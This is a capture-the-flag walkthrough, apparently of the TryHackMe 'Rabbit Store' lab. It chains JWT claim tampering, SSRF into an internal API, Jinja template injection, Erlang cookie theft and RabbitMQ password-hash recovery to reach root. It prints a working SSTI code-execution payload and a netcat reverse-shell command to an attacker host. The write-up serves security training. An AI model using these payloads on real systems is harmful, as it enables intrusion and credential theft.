Table of Contents
- Overview
- Inital Recon and JWT Trust Abuse
- SSRF into the Internal API Layer
- SSTI to RCE
- Erlang Cookie Compromise and Node Takeover
- RabbitMQ to Root Privilege Escalation
Overview
Erlang-based systems rely on a background service called the Erlang Port Mapper Daemon (EPMD) to coordinate communication between distributed nodes. It listens on port 4369 and acts as a directory, telling clients which Erlang node is running on which port.
Server-Side Template Injection (SSTI) is a class of vulnerability where user-controlled input is embedded into a server-side template and evaluated by the template engine. When improperly sandboxed, this leads to arbitrary code execution in the context of the application.
RabbitMQ is built on top of this Erlang distribution model. Its control plane and clustering logic run as Erlang nodes that trust each other based on a shared secret stored in the .erlang.cookie file.
Vulnerability Context
The attack chain began with standard network reconnaissance, identifying SSH, HTTP, and the Erlang Port Mapper Daemon (EPMD) on 4369. A subdomain-based registration flow issued JWTs to newly created users. The server trusted client-supplied claims during registration, modifying this field to grant an access to privileged application features.
Post-authentication, the application exposed two image-handling functions: direct upload and remote fetch by URL. While file upload was restricted, the fetch functionality performed server-side HTTP requests without proper validation, enabling SSRF. Through this channel, internal services and undocumented API routes such as /api/docs were enumerated.
One internal endpoint, fetch_messages_from_chatbot, rendered user input through a template engine without sanitization. The username parameter was evaluated directly, resulting in an SSTI and a reliable reverse shell.
With shell access, the presence of EPMD and RabbitMQ services became relevant. By extracting the .erlang.cookie from the filesystem, authenticated access to the Erlang node was obtained. Using Metasploit's Erlang distribution modules, remote command execution was achieved as the rabbitmq system user. From there, local enumeration exposed credential material for the root account, enabling full privilege escalation.
Initial Recon and JWT Trust Abuse
- I began the reconnaissance phase by performing a fast port scan using naabu to quickly identify exposed services on the target host.
naabu -host <target_ip> -top-ports full![Image 1 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*IOkIU4Yrr13AGOQR8Ejr0Q.png)
- Based on the initial results, I followed up with a focused nmap scan against the discovered ports to enumerate service versions and perform default script checks.
nmap -A -p 22,80,4369,25672 <target_ip>![Image 2 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*BRZk9Ri5C-88urLZiWXrJQ.png)
- The scan revealed four open ports. One of them was port 80, which redirected HTTP traffic to
cloudsite.thm. - To resolve this domain locally, I added the following entry to
/etc/hosts:
10.49.184.135 cloudsite.thm- After accessing the website via a browser, I attempted to register a new user account.
![Image 3 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*QaNd2hzrs6qcDbwufceShg.png)
- During the registration process, the application redirected to
storage.cloudsite.thm, requiring an additional hosts file entry:
10.49.184.135 cloudsite.thm storage.cloudsite.thm- With the domains resolved, I completed the registration flow.
![Image 4 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*J8S2vlVWVcqp_ZiyWaJ_4Q.png)
- However, upon account creation, the application displayed a warning indicating that the service was intended for
internal users only.
![Image 5 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*JGF3dAh6z6_hC-KjgDYE7g.png)
- I logged out and then logged back in while capturing all traffic using Burp Suite.
- While reviewing the requests, I noticed a request to:
GET /dashboard/inactive- At this point, I observed that the application relied on a JWT (JSON Web Token) stored in a cookie.
- To analyze and modify this token efficiently, I installed the JWT Editor extension via:
Extensions → BApp Store → JWT Editor![Image 6 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*JceBVJHX5rIHJQIQfdOu0Q.png)
- Upon decoding the token, I identified an additional parameter named
subscription. For newly registered users, this value was set toinactiveby default. - To test authorization enforcement, I registered a second account while intercepting the request in Burp Suite and manually modified the request, changing:
"subscription": "inactive"to:
"subscription": "active"![Image 7 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*MOtWhboCosd_fVPaFPsAYA.png)
![Image 8 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*lc6I18khZzZdRfGG0NmH2g.png)
- After logging in with the modified token, I confirmed that additional application features became accessible.
SSRF into the Internal API Layer
- Within the dashboard, two file upload functionalities were available:
1. Direct file upload
2. File upload via external URL fetching![Image 9 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*jQTaiFZ-wk9zUrZx0X-1Qg.png)
![Image 10 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*v44-5v44zkIN-A7TiQRN0w.png)
- I initially tested the direct upload feature by attempting to upload a malicious file. No modifications were made to the file extension, magic number or content-type header.
![Image 11 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*Ca2q0iv7b0JsTGIBVTDa9w.png)
![Image 12 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*KkDtJNnYfLkdC7OTaYrl1A.png)
- The file upload succeeded, but execution attempts failed.
![Image 13 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*6D591bftThsD4Pyv4Vq9nA.png)
- I further experimented with extension spoofing, magic number manipulation, and content-type tampering, however execution was consistently failed.
- I then shifted focus to the second upload mechanism: fetching files from external URLs.
- Attempting to fetch
https://evil.comresulted in no visible server response. - By inspecting the Burp Suite history, I identified two backend requests involved in this functionality:
- POST /api/store-url
- GET /api/uploads/<random-id>- The POST request stored the supplied URL, while the GET request retrieved the server-side response using a randomly generated identifier.
- To probe potential SSRF behavior, I supplied an AWS metadata IP as the fetch target. The server returned metadata content, confirming SSRF access:
1.0
...
<..snip..>
...
2024-04-11
latest![Image 14 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*CsOpjUgGP15UGifVYPIKcw.png)
![Image 15 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*3FCfRSTK7uqr8UdfYBrElQ.png)
- I proceeded to enumerate all accessible metadata endpoints exposed through this vector. Despite extended trial-and-error attempts, I was unable to escalate this SSRF directly to server-level code execution.
- Returning to Burp Suite's HTTP history, I reviewed all API traffic and began directory fuzzing against the
/api/endpoint.
$ ffuf -u http://<target_site>/api/FUZZ -w /usr/share/wordlists/dirb/big.txt -ac -c -b "jwt=<attacker_token>"![Image 16 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*6EnPdhLGiycRK0cCirtttg.png)
- The fuzzing revealed several endpoints.
- Since
/login,/register, and/uploadshad already been accessed, I attempted to reach/api/docs, however direct access failed.
![Image 17 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*krnPiW-FJAFpO6p4qNQ7vQ.png)
- The server response included the header:
X-Powered-By: Express- Based on this and other behavior, I suspected the backend service was still in development and potentially exposed internally on the default port 3000.
- I tested this hypothesis by fetching documentation via localhost:
http://127.0.0.1:3000/api/docs![Image 18 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*iZEW3CoX_HEEgfoKnTgyjw.png)
- This successfully exposed the API documentation, revealing additional backend endpoints.
![Image 19 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*pgGQcmxgxcq_HMuXDfBEjw.png)
SSTI to RCE
- After testing all listed endpoints, I identified
/api/fetch_messeges_from_chatbotas a potential attack surface.
![Image 20 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*vIMZGM9L3unZ2zzLOH7DOQ.png)
- This endpoint required a
usernameparameter.
![Image 21 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*_fOtEOXc8ew7mhX1vnk72A.png)
- Supplying a benign username such as
bashoverflow_2resulted in the same value being reflected in the response.
![Image 22 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*JH4iPW4sTBYONZ8RPXvzXQ.png)
- SQL injection attempts failed. However, when I injected an XSS payload using an
<img>tag, a javascript popup was successfully triggered. Despite this, no clear escalation path emerged. - As a final test, I attempted Server-Side Template Injection (SSTI) using a polyglot payload referenced from prior research:
- The server responded with a template-related error message, indicating the use of the Jinja template engine.
![Image 23 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*uV459zuXmllyOb_OWywe2g.png)
- I immediately tested a known Jinja SSTI payload from PayloadsAllTheThings:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}- The server executed the command and returned the output, confirming remote code execution.
![Image 24 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*o6iqmyCI75_a0yHzK18qcg.png)
- To simplify further exploration, I established a reverse shell back to my attacker machine:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> 4444 >/tmp/f').read() }}![Image 25 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*61DkqeWoFG2fBJiRipeezg.png)
- After setting up a listener, I received a shell connection on port 4444 and spawned a fully interactive TTY shell.
![Image 26 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*yd84XLJqgGfdxah9f_28Hg.png)
![Image 27 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*w-GV-EZCRHZzI1FRz2pXgA.png)
Erlang Cookie Compromise and Node Takeover
- Post-exploitation enumeration did not immediately yield a privilege escalation path.
- Then recalled that the system exposed Erlang-related services, which are commonly associated with RabbitMQ and vulnerable to Erlang cookie-based RCE.
- I launched Metasploit, configured the required options, and noted that exploitation required access to the Erlang cookie file.
![Image 28 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*r27RLlVCq6i04CAT9a7NuQ.png)
![Image 29— [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*rCcNt6t_vHpgOBmtOqHIXg.png)
- According to official documentation:
https://www.rabbitmq.com/docs/cli#cookie-file-locations- The cookie was located at:
/var/lib/rabbitmq/.erlang.cookie![Image 30 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*-pd0srR21xBsUgxVwM5eWQ.png)
- After retrieving the cookie, I completed the Metasploit configuration and successfully achieved RCE on the RabbitMQ service, gaining shell access as the
rabbitmquser.
![Image 31 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*AxY1QwBp9ML0BpYwctAQfA.png)
RabbitMQ to Root Privilege Escalation
- I spawned a proper TTY shell using Python and began enumerating RabbitMQ via the CLI.
![Image 32 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*omWTb2N3RP-6qts1qt6Mrg.png)
- While attempting to list users, I encountered a permission error related to the
.erlang.cookiefile.
![Image 33 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*2qC_XKKvHHcHNWIx28NRJw.png)
- This was resolved by correcting the file permissions:
chmod 600 .erlang.cookie- After retrying the command, I confirmed the existence of a
rootuser with administrator privileges.
![Image 34 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*7nkoJ72wapeYwUbcfsgSZA.png)
- Unsure of the next escalation step, I created a new administrator-level user.
![Image 35 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*Uyp-HrERrWO66P4Byd7DDQ.png)
- At this stage, I don't know where the password hash storage location is.
- I referenced the RabbitMQ HTTP API documentation:
https://www.rabbitmq.com/docs/http-api-reference- Using
curl, I queried the/api/usersendpoint to retrieve user credential data.
![Image 36 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*HKXNCX-WdBqY5-gHKpdTKg.png)
- Further research into RabbitMQ password handling led me to:
https://www.rabbitmq.com/docs/passwords- RabbitMQ prepends a 4-byte salt (8 hex characters) to the SHA-256 hash. By extracting and processing this data, I was able to recover the plaintext password using CyberChef.
![Image 37 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*fsCESQIZIMMbUBRdryR4wQ.png)
- With valid credentials obtained, I successfully escalated privileges to root, achieving full control over the target system.
![Image 38 — [Rabbit Store] — JWT Manipulation, SSRF, SSTI Leading to RCE](https://miro.medium.com/v2/resize:fit:700/1*L7yVjq0D_TYsXduRKlRqhQ.png)
References
📢 Enjoyed this post? Stay connected! If you found this article helpful or insightful, consider following me for more:
- 📖 Medium: bashoverflow.medium.com
- 🐦 Twitter / X: @_havij
- </> Github: havij13
- ☕ Coffee: Ko-fi
🙏Your support is appreciated.